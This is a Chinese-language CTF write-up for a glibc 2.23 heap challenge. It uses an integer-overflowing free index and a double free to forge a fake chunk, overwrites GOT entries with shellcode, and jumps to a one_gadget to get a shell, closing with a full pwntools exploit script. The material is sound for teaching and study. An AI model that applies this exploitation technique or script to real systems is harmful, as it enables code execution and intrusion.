PIE NX RELRO都没开,然后题目说是2.23的libc。
显然是菜单。
add
地址都在bss上面,然后申请到的chunk都是0x20的,前面十个字节实我们可以的输入,再八个字节是输入的大小。
get
get函数就是一个输出。
但是我们可以看到在第二个if的时候,result是int类型,所以可以有整数溢出。
del
显然也是一样的问题。
但要注意的是free之后会覆盖上来再凑齐,中间不会留空挡。
而且其实我们注意到这个地方是0x2e,但是前面可以序号一直到0x2f,那么我如果先释放0x2f,在释放0x2e,再来一次0x2e,就会有一个double free。
那么有double free之后我们其实可以直接去攻击got表,因为RELRO没开全。
但是我们发现我们去用传统的double free去攻击,显然我们的add次数会不够,我们制造double free之后只有三次add的机会。
我们此时利用那个可以整数溢出的free,free两次0x602080的地方。
这会发生什么,我们知道0x602080的地方数据是0,当我们free(0)的时候其实是什么都不做的,但是问题就出在这个题目free的函数设计,free完之后会让我们在0x6020a0的数据减1,然后整体往前挪有八个字节。
这个图就是我们free第一次之后的结果 0x30向前移而且减了1。
再来一次 首先0xa0减去了1,变成了0xffffffff
再然后整体向前移过去。
这达到了一种什么效果,我们在0x602088成功伪造了一个chunk。
那么我们通过double free攻击0x602088.
为什么要攻击0x602088,我们可以再次修改a0的地方,将其修改成-0xf,那么此时申请到的chunk的地址0x98就会向上写,写在malloc的got表中,就会导致我们每次执行malloc会直接执行写在0x98的shellcode,所以题目没有开NX。
我们在malloc的地方,也就是0x602098的地方写了一小段shellcode。
shellcode的作用是每次把0x6020c0地址pop到rax以此来代替malloc。
那么我们再次add并且写入一段shellcode,因为0x6020a0被加了1,所以下次申请到的chunk的地址会覆盖掉mprotect的got表。所以下一次执行mprotect的时候就会执行我们的shellcode。
shellcode因为可以写的字数还是比较有限的,所以我们只能是利用寄存器的值,把r11寄存器的值改成了one_gadget,再call r11.以此来get shell。
exp
from pwn import *
context(arch="amd64")
context(log_level="debug")
context.terminal = ['tmux', 'splitw', '-h' ]
p = process("./how2heap")
libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.23-0ubuntu11.2_amd64/libc.so.6")
def free(idx):
p.sendlineafter("> ", "3")
p.sendlineafter(":", str(idx))
def add(ctx):
p.sendlineafter("> ", "1")
p.sendafter(":", ctx)
for i in range(0x31):
add('A')
free(0x2f)
free(0x2e)
free(0x2e)
add(p64(0x602088))
add("B")
add("C")
free(0x100000000-0xc)
free(0x100000000-0xc)
s = """
push 0x6020C0
pop rax
ret
nop
"""
add(asm(s) + p32(0x100000000-0xf))
s = """
push 0x13247a
pop rbx
sub r11, rbx
xor rax, rax
call r11
"""
gdb.attach(p)
pause()
add(asm(s))
p.sendlineafter("> ", "1")
p.interactive()